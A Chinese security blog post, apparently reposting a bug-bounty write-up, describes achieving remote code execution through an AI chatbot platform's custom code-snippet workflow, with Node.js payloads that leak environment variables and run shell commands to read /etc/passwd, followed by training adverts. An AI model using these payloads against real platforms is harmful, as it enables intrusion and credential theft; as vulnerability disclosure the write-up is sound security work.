探索AI聊天机器人工作流程实现RCE

探索AI聊天机器人工作流程实现RCE

原创 玲珑安全官方 芳华绝代安全团队 2024-08-06 19:31

前言

我发现了一个广泛使用的AI聊天机器人平台中的远程代码执行漏洞。该漏洞存在于聊天机器人的自定义工作流响应代码中,这些工作流允许开发人员通过创建定制的流程来扩展机器人的功能。

正文

在浏览自动化聊天机器人的多个特定功能时,其中一个引起我注意的功能是“Start from scratch”选项,如下所示:

此“Start from scratch”选项包含多个用于定制聊天机器人自动化的选项,例如工作流、Webhooks和自定义代码片段,如下图所示:

查看其余选项后,我开始探索“运行代码片段”选项。

该功能包含可自定义的代码,用于从聊天机器人获取自定义响应。
例如下列代码存在一个默认值为“Hello World”的botMessage参数:

const responseJson = {
  botMessage: "Hello world",
  responseExpected: false
}

也就是定义了返回的消息和是否期待进一步响应的默认设置。

由于
聊天机器人是使用
Node 18.x 框架构建的,我尝试获取/检查全局变量的响应,例如 __dirname、__filename,并尝试在“Hello World”位置执行像 eval(7*7) 这样的函数。

例如:

const responseJson = { 
botMessage : __dirname,
responseExpected : false
 }

可以看到,聊天机器
人输出了“/var/task”,这意味着全局变量 __dirname 在内部成功执行。

同理:

const responseJson = { 
botMessage : __filename,
responseExpected : false
 }

输出“/var/task/Template.js”

同理:

const responseJson = { 
botMessage:eval(7 * 7),
responseExpected:false
 }

输出49。

接下来我想提高漏洞危害,于是我开始查看 Nodejs 官方文档,并找到了更多全局变量/对象来检查是否存在更多数据泄漏

官方文档:https://nodejs.org/api/globals.html#process

例如
process.env

process.argv

process.execPath

process.memoryUsage()、 process.getuid() 、 process.cpuUsage()

1、process.env

const responseJson = {
botMessage: process.env,
responseExpected: false
}

检查环境变量至关重要,因为它们有时会存储 AWS_SECRET 和 AWS_KEY。

2、process.platform

const responseJson = {
botMessage: process.platform,
responseExpected: false
}

3、process.execPath

const responseJson = {
botMessage: process.execPath,
responseExpected: false
}

4、process.memoryUsage()

const responseJson = {
botMessage: process.memoryUsage(),
responseExpected: false
}

5、经过多次尝试、调试后,我创建出一个完整的
Payload
来获取/etc/passwd文件:

const { exec } = require('child_process');

exports.main = (event, callback) => {
exec('head /etc/passwd', (error, stdout, stderr) => {
if (error) {
console.error(exec error: ${error});
return;
}
if (stderr) {
console.error(stderr: ${stderr});
return;
}

const responseJson = {
  botMessage: stdout,
  responseExpected: false
};

callback(responseJson);
});
};

运行“
id
”命令:

原文出处:
https://varmaanu001.medium.com/unveiling-remote-code-execution-in-ai-chatbot-workflows-3c7f633f63c3

SRC漏洞挖掘培训

玲珑安全第三期如约而至

第二期玲珑安全培训班来啦!

玲珑安全第一期SRC培训班即将开课!

往期漏洞分享

CR/LF注入+Race Condition绕过MFA

CVSS 10信息披露+图片元数据不适当处理+大小写绕过速率限制

破解邀请码实现未授权访问和账户接管

子域名模糊测试实现RCE

通过导入功能将权限提升至管理员

SSRF:Microsoft Azure API 管理服务

Oracle Apiary:SSRF获取元数据
SSRF 之 Azure Digital Twins Explorer

玲珑安全交流群

玲珑安全B站免费公开课

https://space.bilibili.com/602205041